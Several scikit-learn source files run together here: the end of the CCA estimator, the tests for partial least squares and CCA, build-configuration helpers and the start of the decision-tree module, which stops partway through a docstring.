    The residual matrix of Y (Yk+1) block is obtained by deflation on the
    current Y score.

    Examples
    --------
    >>> from sklearn.cross_decomposition import CCA
    >>> X = [[0., 0., 1.], [1.,0.,0.], [2.,2.,2.], [3.,5.,4.]]
    >>> Y = [[0.1, -0.2], [0.9, 1.1], [6.2, 5.9], [11.9, 12.3]]
    >>> cca = CCA(n_components=1)
    >>> cca.fit(X, Y)
    ... # doctest: +ELLIPSIS, +NORMALIZE_WHITESPACE
    CCA(copy=True, max_iter=500, n_components=1, scale=True, tol=1e-06)
    >>> X_c, Y_c = cca.transform(X, Y)

    References
    ----------

    Jacob A. Wegelin. A survey of Partial Least Squares (PLS) methods, with
    emphasis on the two-block case. Technical Report 371, Department of
    Statistics, University of Washington, Seattle, 2000.

    In french but still a reference:
    Tenenhaus, M. (1998). La regression PLS: theorie et pratique. Paris:
    Editions Technic.

    See also
    --------
    PLSCanonical
    PLSSVD
    """

    def __init__(self, n_components=2, scale=True,
                 max_iter=500, tol=1e-06, copy=True):
        super(CCA, self).__init__(n_components=n_components, scale=scale,
                                  deflation_mode="canonical", mode="B",
                                  norm_y_weights=True, algorithm="nipals",
                                  max_iter=max_iter, tol=tol, copy=copy)






import numpy as np
from sklearn.utils.testing import (assert_array_almost_equal,
                                   assert_array_equal, assert_true,
                                   assert_raise_message)
from sklearn.datasets import load_linnerud
from sklearn.cross_decomposition import pls_, CCA
from nose.tools import assert_equal


def test_pls():
    d = load_linnerud()
    X = d.data
    Y = d.target
    # 1) Canonical (symmetric) PLS (PLS 2 blocks canonical mode A)
    # ===========================================================
    # Compare 2 algo.: nipals vs. svd
    # ------------------------------
    pls_bynipals = pls_.PLSCanonical(n_components=X.shape[1])
    pls_bynipals.fit(X, Y)
    pls_bysvd = pls_.PLSCanonical(algorithm="svd", n_components=X.shape[1])
    pls_bysvd.fit(X, Y)
    # check equalities of loading (up to the sign of the second column)
    assert_array_almost_equal(
        pls_bynipals.x_loadings_,
        pls_bysvd.x_loadings_, decimal=5,
        err_msg="nipals and svd implementations lead to different x loadings")

    assert_array_almost_equal(
        pls_bynipals.y_loadings_,
        pls_bysvd.y_loadings_, decimal=5,
        err_msg="nipals and svd implementations lead to different y loadings")

    # Check PLS properties (with n_components=X.shape[1])
    # ---------------------------------------------------
    plsca = pls_.PLSCanonical(n_components=X.shape[1])
    plsca.fit(X, Y)
    T = plsca.x_scores_
    P = plsca.x_loadings_
    Wx = plsca.x_weights_
    U = plsca.y_scores_
    Q = plsca.y_loadings_
    Wy = plsca.y_weights_

    def check_ortho(M, err_msg):
        K = np.dot(M.T, M)
        assert_array_almost_equal(K, np.diag(np.diag(K)), err_msg=err_msg)

    # Orthogonality of weights
    # ~~~~~~~~~~~~~~~~~~~~~~~~
    check_ortho(Wx, "x weights are not orthogonal")
    check_ortho(Wy, "y weights are not orthogonal")

    # Orthogonality of latent scores
    # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    check_ortho(T, "x scores are not orthogonal")
    check_ortho(U, "y scores are not orthogonal")

    # Check X = TP' and Y = UQ' (with (p == q) components)
    # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    # center scale X, Y
    Xc, Yc, x_mean, y_mean, x_std, y_std =\
        pls_._center_scale_xy(X.copy(), Y.copy(), scale=True)
    assert_array_almost_equal(Xc, np.dot(T, P.T), err_msg="X != TP'")
    assert_array_almost_equal(Yc, np.dot(U, Q.T), err_msg="Y != UQ'")

    # Check that rotations on training data lead to scores
    # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Xr = plsca.transform(X)
    assert_array_almost_equal(Xr, plsca.x_scores_,
                              err_msg="rotation on X failed")
    Xr, Yr = plsca.transform(X, Y)
    assert_array_almost_equal(Xr, plsca.x_scores_,
                              err_msg="rotation on X failed")
    assert_array_almost_equal(Yr, plsca.y_scores_,
                              err_msg="rotation on Y failed")

    # "Non regression test" on canonical PLS
    # --------------------------------------
    # The results were checked against the R-package plspm
    pls_ca = pls_.PLSCanonical(n_components=X.shape[1])
    pls_ca.fit(X, Y)

    x_weights = np.array(
        [[-0.61330704,  0.25616119, -0.74715187],
         [-0.74697144,  0.11930791,  0.65406368],
         [-0.25668686, -0.95924297, -0.11817271]])
    # x_weights_sign_flip holds columns of 1 or -1, depending on sign flip
    # between R and python
    x_weights_sign_flip = pls_ca.x_weights_ / x_weights

    x_rotations = np.array(
        [[-0.61330704,  0.41591889, -0.62297525],
         [-0.74697144,  0.31388326,  0.77368233],
         [-0.25668686, -0.89237972, -0.24121788]])
    x_rotations_sign_flip = pls_ca.x_rotations_ / x_rotations

    y_weights = np.array(
        [[+0.58989127,  0.7890047,   0.1717553],
         [+0.77134053, -0.61351791,  0.16920272],
         [-0.23887670, -0.03267062,  0.97050016]])
    y_weights_sign_flip = pls_ca.y_weights_ / y_weights

    y_rotations = np.array(
        [[+0.58989127,  0.7168115,  0.30665872],
         [+0.77134053, -0.70791757,  0.19786539],
         [-0.23887670, -0.00343595,  0.94162826]])
    y_rotations_sign_flip = pls_ca.y_rotations_ / y_rotations

    # x_weights = X.dot(x_rotation)
    # Hence R/python sign flip should be the same in x_weight and x_rotation
    assert_array_almost_equal(x_rotations_sign_flip, x_weights_sign_flip)
    # This test that R / python give the same result up to column
    # sign indeterminacy
    assert_array_almost_equal(np.abs(x_rotations_sign_flip), 1, 4)
    assert_array_almost_equal(np.abs(x_weights_sign_flip), 1, 4)


    assert_array_almost_equal(y_rotations_sign_flip, y_weights_sign_flip)
    assert_array_almost_equal(np.abs(y_rotations_sign_flip), 1, 4)
    assert_array_almost_equal(np.abs(y_weights_sign_flip), 1, 4)

    # 2) Regression PLS (PLS2): "Non regression test"
    # ===============================================
    # The results were checked against the R-packages plspm, misOmics and pls
    pls_2 = pls_.PLSRegression(n_components=X.shape[1])
    pls_2.fit(X, Y)

    x_weights = np.array(
        [[-0.61330704, -0.00443647,  0.78983213],
         [-0.74697144, -0.32172099, -0.58183269],
         [-0.25668686,  0.94682413, -0.19399983]])
    x_weights_sign_flip = pls_2.x_weights_ / x_weights

    x_loadings = np.array(
        [[-0.61470416, -0.24574278,  0.78983213],
         [-0.65625755, -0.14396183, -0.58183269],
         [-0.51733059,  1.00609417, -0.19399983]])
    x_loadings_sign_flip = pls_2.x_loadings_ / x_loadings

    y_weights = np.array(
        [[+0.32456184,  0.29892183,  0.20316322],
         [+0.42439636,  0.61970543,  0.19320542],
         [-0.13143144, -0.26348971, -0.17092916]])
    y_weights_sign_flip = pls_2.y_weights_ / y_weights

    y_loadings = np.array(
        [[+0.32456184,  0.29892183,  0.20316322],
         [+0.42439636,  0.61970543,  0.19320542],
         [-0.13143144, -0.26348971, -0.17092916]])
    y_loadings_sign_flip = pls_2.y_loadings_ / y_loadings

    # x_loadings[:, i] = Xi.dot(x_weights[:, i]) \forall i
    assert_array_almost_equal(x_loadings_sign_flip, x_weights_sign_flip, 4)
    assert_array_almost_equal(np.abs(x_loadings_sign_flip), 1, 4)
    assert_array_almost_equal(np.abs(x_weights_sign_flip), 1, 4)

    assert_array_almost_equal(y_loadings_sign_flip, y_weights_sign_flip, 4)
    assert_array_almost_equal(np.abs(y_loadings_sign_flip), 1, 4)
    assert_array_almost_equal(np.abs(y_weights_sign_flip), 1, 4)

    # 3) Another non-regression test of Canonical PLS on random dataset
    # =================================================================
    # The results were checked against the R-package plspm
    n = 500
    p_noise = 10
    q_noise = 5
    # 2 latents vars:
    np.random.seed(11)
    l1 = np.random.normal(size=n)
    l2 = np.random.normal(size=n)
    latents = np.array([l1, l1, l2, l2]).T
    X = latents + np.random.normal(size=4 * n).reshape((n, 4))
    Y = latents + np.random.normal(size=4 * n).reshape((n, 4))
    X = np.concatenate(
        (X, np.random.normal(size=p_noise * n).reshape(n, p_noise)), axis=1)
    Y = np.concatenate(
        (Y, np.random.normal(size=q_noise * n).reshape(n, q_noise)), axis=1)
    np.random.seed(None)
    pls_ca = pls_.PLSCanonical(n_components=3)
    pls_ca.fit(X, Y)

    x_weights = np.array(
        [[0.65803719,  0.19197924,  0.21769083],
         [0.7009113,  0.13303969, -0.15376699],
         [0.13528197, -0.68636408,  0.13856546],
         [0.16854574, -0.66788088, -0.12485304],
         [-0.03232333, -0.04189855,  0.40690153],
         [0.1148816, -0.09643158,  0.1613305],
         [0.04792138, -0.02384992,  0.17175319],
         [-0.06781, -0.01666137, -0.18556747],
         [-0.00266945, -0.00160224,  0.11893098],
         [-0.00849528, -0.07706095,  0.1570547],
         [-0.00949471, -0.02964127,  0.34657036],
         [-0.03572177,  0.0945091,  0.3414855],
         [0.05584937, -0.02028961, -0.57682568],
         [0.05744254, -0.01482333, -0.17431274]])
    x_weights_sign_flip = pls_ca.x_weights_ / x_weights


    x_loadings = np.array(
        [[0.65649254,  0.1847647,  0.15270699],
         [0.67554234,  0.15237508, -0.09182247],
         [0.19219925, -0.67750975,  0.08673128],
         [0.2133631, -0.67034809, -0.08835483],
         [-0.03178912, -0.06668336,  0.43395268],
         [0.15684588, -0.13350241,  0.20578984],
         [0.03337736, -0.03807306,  0.09871553],
         [-0.06199844,  0.01559854, -0.1881785],
         [0.00406146, -0.00587025,  0.16413253],
         [-0.00374239, -0.05848466,  0.19140336],
         [0.00139214, -0.01033161,  0.32239136],
         [-0.05292828,  0.0953533,  0.31916881],
         [0.04031924, -0.01961045, -0.65174036],
         [0.06172484, -0.06597366, -0.1244497]])
    x_loadings_sign_flip = pls_ca.x_loadings_ / x_loadings

    y_weights = np.array(
        [[0.66101097,  0.18672553,  0.22826092],
         [0.69347861,  0.18463471, -0.23995597],
         [0.14462724, -0.66504085,  0.17082434],
         [0.22247955, -0.6932605, -0.09832993],
         [0.07035859,  0.00714283,  0.67810124],
         [0.07765351, -0.0105204, -0.44108074],
         [-0.00917056,  0.04322147,  0.10062478],
         [-0.01909512,  0.06182718,  0.28830475],
         [0.01756709,  0.04797666,  0.32225745]])
    y_weights_sign_flip = pls_ca.y_weights_ / y_weights

    y_loadings = np.array(
        [[0.68568625,  0.1674376,  0.0969508],
         [0.68782064,  0.20375837, -0.1164448],
         [0.11712173, -0.68046903,  0.12001505],
         [0.17860457, -0.6798319, -0.05089681],
         [0.06265739, -0.0277703,  0.74729584],
         [0.0914178,  0.00403751, -0.5135078],
         [-0.02196918, -0.01377169,  0.09564505],
         [-0.03288952,  0.09039729,  0.31858973],
         [0.04287624,  0.05254676,  0.27836841]])
    y_loadings_sign_flip = pls_ca.y_loadings_ / y_loadings

    assert_array_almost_equal(x_loadings_sign_flip, x_weights_sign_flip, 4)
    assert_array_almost_equal(np.abs(x_weights_sign_flip), 1, 4)
    assert_array_almost_equal(np.abs(x_loadings_sign_flip), 1, 4)

    assert_array_almost_equal(y_loadings_sign_flip, y_weights_sign_flip, 4)
    assert_array_almost_equal(np.abs(y_weights_sign_flip), 1, 4)
    assert_array_almost_equal(np.abs(y_loadings_sign_flip), 1, 4)

    # Orthogonality of weights
    # ~~~~~~~~~~~~~~~~~~~~~~~~
    check_ortho(pls_ca.x_weights_, "x weights are not orthogonal")
    check_ortho(pls_ca.y_weights_, "y weights are not orthogonal")

    # Orthogonality of latent scores
    # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    check_ortho(pls_ca.x_scores_, "x scores are not orthogonal")
    check_ortho(pls_ca.y_scores_, "y scores are not orthogonal")


def test_PLSSVD():
    # Let's check the PLSSVD doesn't return all possible component but just
    # the specified number
    d = load_linnerud()
    X = d.data
    Y = d.target
    n_components = 2
    for clf in [pls_.PLSSVD, pls_.PLSRegression, pls_.PLSCanonical]:
        pls = clf(n_components=n_components)
        pls.fit(X, Y)
        assert_equal(n_components, pls.y_scores_.shape[1])


def test_univariate_pls_regression():
    # Ensure 1d Y is correctly interpreted
    d = load_linnerud()
    X = d.data
    Y = d.target

    clf = pls_.PLSRegression()
    # Compare 1d to column vector
    model1 = clf.fit(X, Y[:, 0]).coef_
    model2 = clf.fit(X, Y[:, :1]).coef_
    assert_array_almost_equal(model1, model2)


def test_predict_transform_copy():
    # check that the "copy" keyword works
    d = load_linnerud()
    X = d.data
    Y = d.target
    clf = pls_.PLSCanonical()
    X_copy = X.copy()
    Y_copy = Y.copy()
    clf.fit(X, Y)
    # check that results are identical with copy
    assert_array_almost_equal(clf.predict(X), clf.predict(X.copy(), copy=False))
    assert_array_almost_equal(clf.transform(X), clf.transform(X.copy(), copy=False))

    # check also if passing Y
    assert_array_almost_equal(clf.transform(X, Y),
                              clf.transform(X.copy(), Y.copy(), copy=False))
    # check that copy doesn't destroy
    # we do want to check exact equality here
    assert_array_equal(X_copy, X)
    assert_array_equal(Y_copy, Y)
    # also check that mean wasn't zero before (to make sure we didn't touch it)
    assert_true(np.all(X.mean(axis=0) != 0))


def test_scale_and_stability():
    # We test scale=True parameter
    # This allows to check numerical stability over platforms as well

    d = load_linnerud()
    X1 = d.data
    Y1 = d.target
    # causes X[:, -1].std() to be zero
    X1[:, -1] = 1.0

    # From bug #2821
    # Test with X2, T2 s.t. clf.x_score[:, 1] == 0, clf.y_score[:, 1] == 0
    # This test robustness of algorithm when dealing with value close to 0
    X2 = np.array([[0., 0., 1.],
                   [1., 0., 0.],
                   [2., 2., 2.],
                   [3., 5., 4.]])
    Y2 = np.array([[0.1, -0.2],
                   [0.9, 1.1],
                   [6.2, 5.9],
                   [11.9, 12.3]])

    for (X, Y) in [(X1, Y1), (X2, Y2)]:
        X_std = X.std(axis=0, ddof=1)
        X_std[X_std == 0] = 1
        Y_std = Y.std(axis=0, ddof=1)
        Y_std[Y_std == 0] = 1

        X_s = (X - X.mean(axis=0)) / X_std
        Y_s = (Y - Y.mean(axis=0)) / Y_std

        for clf in [CCA(), pls_.PLSCanonical(), pls_.PLSRegression(),
                    pls_.PLSSVD()]:
            clf.set_params(scale=True)
            X_score, Y_score = clf.fit_transform(X, Y)
            clf.set_params(scale=False)
            X_s_score, Y_s_score = clf.fit_transform(X_s, Y_s)
            assert_array_almost_equal(X_s_score, X_score)
            assert_array_almost_equal(Y_s_score, Y_score)
            # Scaling should be idempotent
            clf.set_params(scale=True)
            X_score, Y_score = clf.fit_transform(X_s, Y_s)
            assert_array_almost_equal(X_s_score, X_score)
            assert_array_almost_equal(Y_s_score, Y_score)

def test_pls_errors():
    d = load_linnerud()
    X = d.data
    Y = d.target
    for clf in [pls_.PLSCanonical(), pls_.PLSRegression(),
                pls_.PLSSVD()]:
        clf.n_components = 4
        assert_raise_message(ValueError, "Invalid number of components", clf.fit, X, Y)












# Author: Virgile Fritsch <virgile.fritsch@inria.fr>
# License: BSD 3 clause

import numpy


def configuration(parent_package='', top_path=None):
    from numpy.distutils.misc_util import Configuration
    config = Configuration('__check_build', parent_package, top_path)
    config.add_extension('_check_build',
                         sources=['_check_build.c'],
                         include_dirs=[numpy.get_include()])

    return config

if __name__ == '__main__':
    from numpy.distutils.core import setup
    setup(**configuration(top_path='').todict())






""" Module to give helpful messages to the user that did not
compile the scikit properly.
"""
import os

INPLACE_MSG = """
It appears that you are importing a local scikit-learn source tree. For
this, you need to have an inplace install. Maybe you are in the source
directory and you need to try from another location."""

STANDARD_MSG = """
If you have used an installer, please check that it is suited for your
Python version, your operating system and your platform."""


def raise_build_error(e):
    # Raise a comprehensible error and list the contents of the
    # directory to help debugging on the mailing list.
    local_dir = os.path.split(__file__)[0]
    msg = STANDARD_MSG
    if local_dir == "sklearn/__check_build":
        # Picking up the local install: this will work only if the
        # install is an 'inplace build'
        msg = INPLACE_MSG
    dir_content = list()
    for i, filename in enumerate(os.listdir(local_dir)):
        if ((i + 1) % 3):
            dir_content.append(filename.ljust(26))
        else:
            dir_content.append(filename + '\n')
    raise ImportError("""%s
___________________________________________________________________________
Contents of %s:
%s
___________________________________________________________________________
It seems that scikit-learn has not been built correctly.

If you have installed scikit-learn from source, please do not forget
to build the package before using it: run `python setup.py install` or
`make` in the source directory.
%s""" % (e, local_dir, ''.join(dir_content).strip(), msg))

try:
    from ._check_build import check_build
except ImportError as e:
    raise_build_error(e)






import os

import numpy
from numpy.distutils.misc_util import Configuration


def configuration(parent_package="", top_path=None):
    config = Configuration("tree", parent_package, top_path)
    libraries = []
    if os.name == 'posix':
        libraries.append('m')
    config.add_extension("_tree",
                         sources=["_tree.c"],
                         include_dirs=[numpy.get_include()],
                         libraries=libraries,
                         extra_compile_args=["-O3"])
    config.add_extension("_splitter",
                         sources=["_splitter.c"],
                         include_dirs=[numpy.get_include()],
                         libraries=libraries,
                         extra_compile_args=["-O3"])
    config.add_extension("_criterion",
                         sources=["_criterion.c"],
                         include_dirs=[numpy.get_include()],
                         libraries=libraries,
                         extra_compile_args=["-O3"])
    config.add_extension("_utils",
                         sources=["_utils.c"],
                         include_dirs=[numpy.get_include()],
                         libraries=libraries,
                         extra_compile_args=["-O3"])

    config.add_subpackage("tests")

    return config

if __name__ == "__main__":
    from numpy.distutils.core import setup
    setup(**configuration().todict())






"""
This module gathers tree-based methods, including decision, regression and
randomized trees. Single and multi-output problems are both handled.
"""

# Authors: Gilles Louppe <g.louppe@gmail.com>
#          Peter Prettenhofer <peter.prettenhofer@gmail.com>
#          Brian Holt <bdholt1@gmail.com>
#          Noel Dawe <noel@dawe.me>
#          Satrajit Gosh <satrajit.ghosh@gmail.com>
#          Joly Arnaud <arnaud.v.joly@gmail.com>
#          Fares Hedayati <fares.hedayati@gmail.com>
#          Nelson Liu <nelson@nelsonliu.me>
#
# License: BSD 3 clause

from __future__ import division


import numbers
from abc import ABCMeta
from abc import abstractmethod
from math import ceil

import numpy as np
from scipy.sparse import issparse

from ..base import BaseEstimator
from ..base import ClassifierMixin
from ..base import RegressorMixin
from ..externals import six
from ..feature_selection.from_model import _LearntSelectorMixin
from ..utils import check_array
from ..utils import check_random_state
from ..utils import compute_sample_weight
from ..utils.multiclass import check_classification_targets
from ..exceptions import NotFittedError

from ._criterion import Criterion
from ._splitter import Splitter
from ._tree import DepthFirstTreeBuilder
from ._tree import BestFirstTreeBuilder
from ._tree import Tree
from . import _tree, _splitter, _criterion

__all__ = ["DecisionTreeClassifier",
           "DecisionTreeRegressor",
           "ExtraTreeClassifier",
           "ExtraTreeRegressor"]


# =============================================================================
# Types and constants
# =============================================================================

DTYPE = _tree.DTYPE
DOUBLE = _tree.DOUBLE

CRITERIA_CLF = {"gini": _criterion.Gini, "entropy": _criterion.Entropy}
CRITERIA_REG = {"mse": _criterion.MSE, "friedman_mse": _criterion.FriedmanMSE,
                "mae": _criterion.MAE}

DENSE_SPLITTERS = {"best": _splitter.BestSplitter,
                   "random": _splitter.RandomSplitter}

SPARSE_SPLITTERS = {"best": _splitter.BestSparseSplitter,
                    "random": _splitter.RandomSparseSplitter}

# =============================================================================
# Base decision tree
# =============================================================================


class BaseDecisionTree(six.with_metaclass(ABCMeta, BaseEstimator,
                                          _LearntSelectorMixin)):
    """Base class for decision trees.

    Warning: This class should not be used directly.
    Use derived classes instead.
    """

    @abstractmethod
    def __init__(self,
                 criterion,
                 splitter,
                 max_depth,
                 min_samples_split,
                 min_samples_leaf,
                 min_weight_fraction_leaf,
                 max_features,
                 max_leaf_nodes,
                 random_state,
                 min_impurity_split,
                 class_weight=None,
                 presort=False):
        self.criterion = criterion
        self.splitter = splitter
        self.max_depth = max_depth
        self.min_samples_split = min_samples_split
        self.min_samples_leaf = min_samples_leaf
        self.min_weight_fraction_leaf = min_weight_fraction_leaf
        self.max_features = max_features
        self.random_state = random_state
        self.max_leaf_nodes = max_leaf_nodes
        self.min_impurity_split = min_impurity_split
        self.class_weight = class_weight
        self.presort = presort

        self.n_features_ = None
        self.n_outputs_ = None
        self.classes_ = None
        self.n_classes_ = None

        self.tree_ = None
        self.max_features_ = None

    def fit(self, X, y, sample_weight=None, check_input=True,
            X_idx_sorted=None):
        """Build a decision tree from the training set (X, y).

        Parameters
        ----------
        X : array-like or sparse matrix, shape = [n_samples, n_features]
            The training input samples. Internally, it will be converted to
            ``dtype=np.float32`` and if a sparse matrix is provided
            to a sparse ``csc_matrix``.

        y : array-like, shape = [n_samples] or [n_samples, n_outputs]
            The target values (class labels in classification, real numbers in
            regression). In the regression case, use ``dtype=np.float64`` and
            ``order='C'`` for maximum efficiency.

        sample_weight : array-like, shape = [n_samples] or None
            Sample weights. If None, then samples are equally weighted. Splits
            that would create child nodes with net zero or negative weight are
            ignored while searching for a split in each node. In the case of
            classification, splits are also ignored if they would result in any
            single class carrying a negative weight in either child node.

        check_input : boolean, (default=True)
            Allow to bypass several input checking.
            Don't use this parameter unless you know what you do.

        X_idx_sorted : array-like, shape = [n_samples, n_features], optional
            The indexes of the sorted training input samples. If many tree
            are grown on the same dataset, this allows the ordering to be
            cached between trees. If None, the data will be sorted here.
            Don't use this parameter unless you know what to do.

        Returns
        -------
        self : object
            Returns self.
        """

        random_state = check_random_state(self.random_state)
        if check_input:
            X = check_array(X, dtype=DTYPE, accept_sparse="csc")
            y = check_array(y, ensure_2d=False, dtype=None)
            if issparse(X):
                X.sort_indices()

                if X.indices.dtype != np.intc or X.indptr.dtype != np.intc:
                    raise ValueError("No support for np.int64 index based "
                                     "sparse matrices")

        # Determine output settings
        n_samples, self.n_features_ = X.shape
        is_classification = isinstance(self, ClassifierMixin)

        y = np.atleast_1d(y)
        expanded_class_weight = None

        if y.ndim == 1:
            # reshape is necessary to preserve the data contiguity against vs
            # [:, np.newaxis] that does not.
            y = np.reshape(y, (-1, 1))

        self.n_outputs_ = y.shape[1]

        if is_classification:
            check_classification_targets(y)
            y = np.copy(y)

            self.classes_ = []
            self.n_classes_ = []

            if self.class_weight is not None:
                y_original = np.copy(y)

            y_encoded = np.zeros(y.shape, dtype=np.int)
            for k in range(self.n_outputs_):
                classes_k, y_encoded[:, k] = np.unique(y[:, k],
                                                       return_inverse=True)
                self.classes_.append(classes_k)
                self.n_classes_.append(classes_k.shape[0])
            y = y_encoded

            if self.class_weight is not None:
                expanded_class_weight = compute_sample_weight(
                    self.class_weight, y_original)

        else:
            self.classes_ = [None] * self.n_outputs_
            self.n_classes_ = [1] * self.n_outputs_

        self.n_classes_ = np.array(self.n_classes_, dtype=np.intp)

        if getattr(y, "dtype", None) != DOUBLE or not y.flags.contiguous:
            y = np.ascontiguousarray(y, dtype=DOUBLE)

        # Check parameters
        max_depth = ((2 ** 31) - 1 if self.max_depth is None
                     else self.max_depth)
        max_leaf_nodes = (-1 if self.max_leaf_nodes is None
                          else self.max_leaf_nodes)

        if isinstance(self.min_samples_leaf, (numbers.Integral, np.integer)):
            min_samples_leaf = self.min_samples_leaf
        else:  # float
            min_samples_leaf = int(ceil(self.min_samples_leaf * n_samples))

        if isinstance(self.min_samples_split, (numbers.Integral, np.integer)):
            min_samples_split = self.min_samples_split
        else:  # float
            min_samples_split = int(ceil(self.min_samples_split * n_samples))
            min_samples_split = max(2, min_samples_split)

        min_samples_split = max(min_samples_split, 2 * min_samples_leaf)

        if isinstance(self.max_features, six.string_types):
            if self.max_features == "auto":
                if is_classification:
                    max_features = max(1, int(np.sqrt(self.n_features_)))
                else:
                    max_features = self.n_features_
            elif self.max_features == "sqrt":
                max_features = max(1, int(np.sqrt(self.n_features_)))
            elif self.max_features == "log2":
                max_features = max(1, int(np.log2(self.n_features_)))
            else:
                raise ValueError(
                    'Invalid value for max_features. Allowed string '
                    'values are "auto", "sqrt" or "log2".')
        elif self.max_features is None:
            max_features = self.n_features_
        elif isinstance(self.max_features, (numbers.Integral, np.integer)):
            max_features = self.max_features
        else:  # float
            if self.max_features > 0.0:
                max_features = max(1,
                                   int(self.max_features * self.n_features_))
            else:
                max_features = 0

        self.max_features_ = max_features

        if len(y) != n_samples:
            raise ValueError("Number of labels=%d does not match "
                             "number of samples=%d" % (len(y), n_samples))
        if not (0. < self.min_samples_split <= 1. or
                2 <= self.min_samples_split):
            raise ValueError("min_samples_split must be in at least 2"
                             " or in (0, 1], got %s" % min_samples_split)
        if not (0. < self.min_samples_leaf <= 0.5 or
                1 <= self.min_samples_leaf):
            raise ValueError("min_samples_leaf must be at least than 1 "
                             "or in (0, 0.5], got %s" % min_samples_leaf)

        if not 0 <= self.min_weight_fraction_leaf <= 0.5:
            raise ValueError("min_weight_fraction_leaf must in [0, 0.5]")
        if max_depth <= 0:
            raise ValueError("max_depth must be greater than zero. ")
        if not (0 < max_features <= self.n_features_):
            raise ValueError("max_features must be in (0, n_features]")
        if not isinstance(max_leaf_nodes, (numbers.Integral, np.integer)):
            raise ValueError("max_leaf_nodes must be integral number but was "
                             "%r" % max_leaf_nodes)
        if -1 < max_leaf_nodes < 2:
            raise ValueError(("max_leaf_nodes {0} must be either smaller than "
                              "0 or larger than 1").format(max_leaf_nodes))

        if sample_weight is not None:
            if (getattr(sample_weight, "dtype", None) != DOUBLE or
                    not sample_weight.flags.contiguous):
                sample_weight = np.ascontiguousarray(
                    sample_weight, dtype=DOUBLE)
            if len(sample_weight.shape) > 1:
                raise ValueError("Sample weights array has more "
                                 "than one dimension: %d" %
                                 len(sample_weight.shape))
            if len(sample_weight) != n_samples:
                raise ValueError("Number of weights=%d does not match "
                                 "number of samples=%d" %
                                 (len(sample_weight), n_samples))

        if expanded_class_weight is not None:
            if sample_weight is not None:
                sample_weight = sample_weight * expanded_class_weight
            else:
                sample_weight = expanded_class_weight

        # Set min_weight_leaf from min_weight_fraction_leaf
        if self.min_weight_fraction_leaf != 0. and sample_weight is not None:
            min_weight_leaf = (self.min_weight_fraction_leaf *
                               np.sum(sample_weight))
        else:
            min_weight_leaf = 0.

        if self.min_impurity_split < 0.:
            raise ValueError("min_impurity_split must be greater than or equal "
                             "to 0")

        presort = self.presort
        # Allow presort to be 'auto', which means True if the dataset is dense,
        # otherwise it will be False.
        if self.presort == 'auto' and issparse(X):
            presort = False
        elif self.presort == 'auto':
            presort = True

        if presort is True and issparse(X):
            raise ValueError("Presorting is not supported for sparse "
                             "matrices.")

        # If multiple trees are built on the same dataset, we only want to
        # presort once. Splitters now can accept presorted indices if desired,
        # but do not handle any presorting themselves. Ensemble algorithms
        # which desire presorting must do presorting themselves and pass that
        # matrix into each tree.
        if X_idx_sorted is None and presort:
            X_idx_sorted = np.asfortranarray(np.argsort(X, axis=0),
                                             dtype=np.int32)

        if presort and X_idx_sorted.shape != X.shape:
            raise ValueError("The shape of X (X.shape = {}) doesn't match "
                             "the shape of X_idx_sorted (X_idx_sorted"
                             ".shape = {})".format(X.shape,
                                                   X_idx_sorted.shape))

        # Build tree
        criterion = self.criterion
        if not isinstance(criterion, Criterion):
            if is_classification:
                criterion = CRITERIA_CLF[self.criterion](self.n_outputs_,
                                                         self.n_classes_)
            else:
                criterion = CRITERIA_REG[self.criterion](self.n_outputs_,
                                                         n_samples)

        SPLITTERS = SPARSE_SPLITTERS if issparse(X) else DENSE_SPLITTERS

        splitter = self.splitter
        if not isinstance(self.splitter, Splitter):
            splitter = SPLITTERS[self.splitter](criterion,
                                                self.max_features_,
                                                min_samples_leaf,
                                                min_weight_leaf,
                                                random_state,
                                                self.presort)

        self.tree_ = Tree(self.n_features_, self.n_classes_, self.n_outputs_)

        # Use BestFirst if max_leaf_nodes given; use DepthFirst otherwise
        if max_leaf_nodes < 0:
            builder = DepthFirstTreeBuilder(splitter, min_samples_split,
                                            min_samples_leaf,
                                            min_weight_leaf,
                                            max_depth, self.min_impurity_split)
        else:
            builder = BestFirstTreeBuilder(splitter, min_samples_split,
                                           min_samples_leaf,
                                           min_weight_leaf,
                                           max_depth,
                                           max_leaf_nodes, self.min_impurity_split)

        builder.build(self.tree_, X, y, sample_weight, X_idx_sorted)

        if self.n_outputs_ == 1:
            self.n_classes_ = self.n_classes_[0]
            self.classes_ = self.classes_[0]

        return self

    def _validate_X_predict(self, X, check_input):
        """Validate X whenever one tries to predict, apply, predict_proba"""
        if self.tree_ is None:
            raise NotFittedError("Estimator not fitted, "
                                 "call `fit` before exploiting the model.")

        if check_input:
            X = check_array(X, dtype=DTYPE, accept_sparse="csr")
            if issparse(X) and (X.indices.dtype != np.intc or
                                X.indptr.dtype != np.intc):
                raise ValueError("No support for np.int64 index based "
                                 "sparse matrices")

        n_features = X.shape[1]
        if self.n_features_ != n_features:
            raise ValueError("Number of features of the model must "
                             "match the input. Model n_features is %s and "
                             "input n_features is %s "
                             % (self.n_features_, n_features))

        return X

    def predict(self, X, check_input=True):
        """Predict class or regression value for X.

        For a classification model, the predicted class for each sample in X is
        returned. For a regression model, the predicted value based on X is
        returned.

        Parameters
        ----------
        X : array-like or sparse matrix of shape = [n_samples, n_features]
            The input samples. Internally, it will be converted to
            ``dtype=np.float32`` and if a sparse matrix is provided
            to a sparse ``csr_matrix``.

        check_input : boolean, (default=True)
            Allow to bypass several input checking.
            Don't use this parameter unless you know what you do.

        Returns
        -------
        y : array of shape = [n_samples] or [n_samples, n_outputs]
            The predicted classes, or the predict values.
        """

        X = self._validate_X_predict(X, check_input)
        proba = self.tree_.predict(X)
        n_samples = X.shape[0]

        # Classification
        if isinstance(self, ClassifierMixin):
            if self.n_outputs_ == 1:
                return self.classes_.take(np.argmax(proba, axis=1), axis=0)

            else:
                predictions = np.zeros((n_samples, self.n_outputs_))

                for k in range(self.n_outputs_):
                    predictions[:, k] = self.classes_[k].take(
                        np.argmax(proba[:, k], axis=1),
                        axis=0)

                return predictions

        # Regression
        else:
            if self.n_outputs_ == 1:
                return proba[:, 0]

            else:
                return proba[:, :, 0]

    def apply(self, X, check_input=True):
        """
        Returns the index of the leaf that each sample is predicted as.

        .. versionadded:: 0.17

        Parameters
        ----------
        X : array_like or sparse matrix, shape = [n_samples, n_features]
            The input samples. Internally, it will be converted to
            ``dtype=np.float32`` and if a sparse matrix is provided
